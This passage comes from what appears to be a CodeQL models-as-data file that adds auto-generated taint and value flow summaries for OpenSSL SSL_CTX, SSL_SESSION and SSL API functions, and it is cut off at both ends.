"Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_password", "(SSL_CTX *,char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_strength", "(SSL_CTX *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_strength", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username", "(SSL_CTX *,char *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_username_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_srp_verify_param_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_CTX_set_ssl_version", "(SSL_CTX *,const SSL_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_ssl_version", "(SSL_CTX *,const SSL_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_stateless_cookie_generate_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*gen_stateless_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_stateless_cookie_verify_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*verify_stateless_cookie_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_timeout", "(SSL_CTX *,long)", "", "Argument[*0].Field[*session_timeout].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_timeout", "(SSL_CTX *,long)", "", "Argument[1]", "Argument[*0].Field[*session_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_tlsext_max_fragment_length", "(SSL_CTX *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*max_fragment_len_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_tlsext_ticket_key_evp_cb", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*ticket_key_evp_cb]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_tmp_dh_callback", "(SSL_CTX *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*msg_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_trust", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*trust]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_verify", "(SSL_CTX *,int,..(*)(..),SSL_verify_cb)", "", "Argument[1]", "Argument[*0].Field[*verify_mode]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_verify", "(SSL_CTX *,int,..(*)(..),SSL_verify_cb)", "", "Argument[2]", "Argument[*0].Field[*default_verify_callback]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_set_verify_depth", "(SSL_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[**param].Field[*depth]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_PrivateKey_ASN1", "(int,SSL_CTX *,const unsigned char *,long)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_PrivateKey_ASN1", "(int,SSL_CTX *,const unsigned char *,long)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_RSAPrivateKey_ASN1", "(SSL_CTX *,const unsigned char *,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_RSAPrivateKey_ASN1", "(SSL_CTX *,const unsigned char *,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_cert_and_key", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_use_cert_and_key", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_use_cert_and_key", "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate", "(SSL_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[*2]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[1]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_certificate_ASN1", "(SSL_CTX *,int,const unsigned char *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_psk_identity_hint", "(SSL_CTX *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "value", "dfc-generated"] + - ["", "", True, "SSL_CTX_use_psk_identity_hint", "(SSL_CTX *,const char *)", "", "Argument[1]", "Argument[*0].Field[**cert].Field[**psk_identity_hint]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_dup", "(const SSL_SESSION *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SSL_SESSION_dup", "(const SSL_SESSION *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_alpn_selected", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_alpn_selected", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_alpn_selected", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_cipher", "(const SSL_SESSION *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_cipher", "(const SSL_SESSION *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_hostname", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[**hostname]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_hostname", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*hostname]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_id_context", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*sid_ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_id_context", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*sid_ctx_length]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer", "(SSL_SESSION *)", "", "Argument[*0].Field[**peer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer", "(SSL_SESSION *)", "", "Argument[*0].Field[*peer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer_rpk", "(SSL_SESSION *)", "", "Argument[*0].Field[**peer_rpk]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_peer_rpk", "(SSL_SESSION *)", "", "Argument[*0].Field[*peer_rpk]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket", "(const SSL_SESSION *,const unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket_appdata", "(SSL_SESSION *,void **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket_appdata", "(SSL_SESSION *,void **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get0_ticket_appdata", "(SSL_SESSION *,void **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_SESSION_get_compress_id", "(const SSL_SESSION *)", "", "Argument[*0].Field[*compress_meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_ex_data", "(const SSL_SESSION *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_id", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*session_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_id", "(const SSL_SESSION *,unsigned int *)", "", "Argument[*0].Field[*session_id_length]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_master_key", "(const SSL_SESSION *,unsigned char *,size_t)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_max_early_data", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*max_early_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_max_fragment_length", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*max_fragment_len_mode]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_protocol_version", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ssl_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_ticket_lifetime_hint", "(const SSL_SESSION *)", "", "Argument[*0].Field[*ext].Field[*tick_lifetime_hint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_time", "(const SSL_SESSION *)", "", "Argument[*0].Field[*time].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_time_ex", "(const SSL_SESSION *)", "", "Argument[*0].Field[*time].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_get_timeout", "(const SSL_SESSION *)", "", "Argument[*0].Field[*timeout].Field[*t]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_alpn_selected", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**alpn_selected]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_alpn_selected", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**alpn_selected]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_alpn_selected", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ext].Field[*alpn_selected_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_hostname", "(SSL_SESSION *,const char *)", "", "Argument[*0].Field[*ext].Field[*hostname]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_hostname", "(SSL_SESSION *,const char *)", "", "Argument[*1]", "Argument[*0].Field[*ext].Field[**hostname]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_hostname", "(SSL_SESSION *,const char *)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[**hostname]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*session_id]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*session_id]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*session_id_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id_context", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*0].Field[*sid_ctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id_context", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*sid_ctx]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_id_context", "(SSL_SESSION *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*0].Field[*sid_ctx_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_master_key", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*master_key]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_master_key", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*master_key]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_master_key", "(SSL_SESSION *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*master_key_length]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ticket_appdata]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ticket_appdata]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set1_ticket_appdata", "(SSL_SESSION *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ticket_appdata_len]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_cipher", "(SSL_SESSION *,const SSL_CIPHER *)", "", "Argument[*1]", "Argument[*0].Field[**cipher]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_cipher", "(SSL_SESSION *,const SSL_CIPHER *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_max_early_data", "(SSL_SESSION *,uint32_t)", "", "Argument[1]", "Argument[*0].Field[*ext].Field[*max_early_data]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_protocol_version", "(SSL_SESSION *,int)", "", "Argument[1]", "Argument[*0].Field[*ssl_version]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*time].Field[*t]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time", "(SSL_SESSION *,long)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time_ex", "(SSL_SESSION *,time_t)", "", "Argument[1]", "Argument[*0].Field[*time].Field[*t]", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_time_ex", "(SSL_SESSION *,time_t)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_timeout", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*calc_timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "SSL_SESSION_set_timeout", "(SSL_SESSION *,long)", "", "Argument[1]", "Argument[*0].Field[*timeout].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "SSL_TEST_CTX_create", "(const CONF *,const char *,OSSL_LIB_CTX *)", "", "Argument[*2]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_TEST_CTX_create", "(const CONF *,const char *,OSSL_LIB_CTX *)", "", "Argument[2]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_TEST_CTX_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_TEST_CTX_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SSL_accept", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_add1_host", "(SSL *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_add1_host", "(SSL *,const char *)", "", "Argument[1]", "Argument[*0].Field[**param].Field[**ip]", "taint", "dfc-generated"] + - ["", "", True, "SSL_bytes_to_cipher_list", "(SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **)", "", "Argument[*0].Field[**tls]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SSL_certs_clear", "(SSL *)", "", "Argument[*0].Field[**tls].Field[**cert]", "Argument[*0].Field[**cert]", "value", "dfc-generated"] + - ["", "", True, "SSL_check_chain", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SSL_check_chain", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_check_chain", "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)", "", "Argument[*3]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "SSL_clear_options", "(SSL *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*options]", "taint", "dfc-generated"] + - ["", "", True, "SSL_clear_options", "(SSL *,uint64_t)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_compression_methods", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*compressions]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_compression_methods", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*compressions_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_legacy_version", "(SSL *)", "", "Argument[*0].Field[**clienthello].Field[*legacy_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_random", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*random]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_session_id", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*session_id]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get0_session_id", "(SSL *,const unsigned char **)", "", "Argument[*0].Field[**clienthello].Field[*session_id_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_hello_get_extension_order", "(SSL *,uint16_t *,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "SSL_client_hello_isv2", "(SSL *)", "", "Argument[*0].Field[**clienthello].Field[*isv2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_version", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*client_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_client_version", "(const SSL *)", "", "Argument[*0].Field[*client_version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_connect", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_copy_session_id", "(SSL *,const SSL *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_ct_is_enabled", "(const SSL *)", "", "Argument[*0].Field[**tls].Field[*ct_validation_callback]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_ct_is_enabled", "(const SSL *)", "", "Argument[*0].Field[*ct_validation_callback]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SSL_ctrl", "(SSL *,int,long,void *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SSL_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_dane_clear_flags", "(SSL *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_dane_clear_flags", "(SSL *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_dane_set_flags", "(SSL *,unsigned long)", "", "Argument[*0].Field[*dane].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_dane_set_flags", "(SSL *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "SSL_dane_tlsa_add", "(SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*dane].Field[*umask]", "taint", "dfc-generated"] + - ["", "", True, "SSL_do_handshake", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "SSL_dup", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SSL_dup", "(SSL *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_dup_CA_list", "(const stack_st_X509_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_CA_list", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_alpn_selected", "(const SSL *,const unsigned char **,unsigned int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get0_client_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_client_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_client_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_connection", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_connection", "(SSL *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_dane", "(SSL *)", "", "Argument[*0].Field[**tls].Field[*dane]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_dane", "(SSL *)", "", "Argument[*0].Field[*dane]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_dane_authority", "(SSL *,X509 **,EVP_PKEY **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_dane_authority", "(SSL *,X509 **,EVP_PKEY **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_dane_authority", "(SSL *,X509 **,EVP_PKEY **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_dane_tlsa", "(SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *)", "", "Argument[*0].Field[*dane].Field[*mdpth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_next_proto_negotiated", "(const SSL *,const unsigned char **,unsigned int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SSL_get0_param", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_param", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_rpk", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer_rpk]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_rpk", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer_rpk]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get0_peer_scts", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peer_scts", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peername", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_peername", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_security_ex_data", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_security_ex_data", "(const SSL *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_security_ex_data", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_server_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_server_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_server_cert_type", "(const SSL *,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "SSL_get0_verified_chain", "(const SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get0_verified_chain", "(const SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get1_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[**peer]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get1_peer_certificate", "(const SSL *)", "", "Argument[*0].Field[**session].Field[*peer]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get1_session", "(SSL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SSL_get1_session", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get1_supported_ciphers", "(SSL *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SSL_get_SSL_CTX", "(const SSL *)", "", "Argument[*0].Field[**ctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SSL_get_SSL_CTX", "(const SSL *)", "", "Argument[*0].Field[*ctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SSL_get_all_async_fds", "(SSL *,int *,size_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, 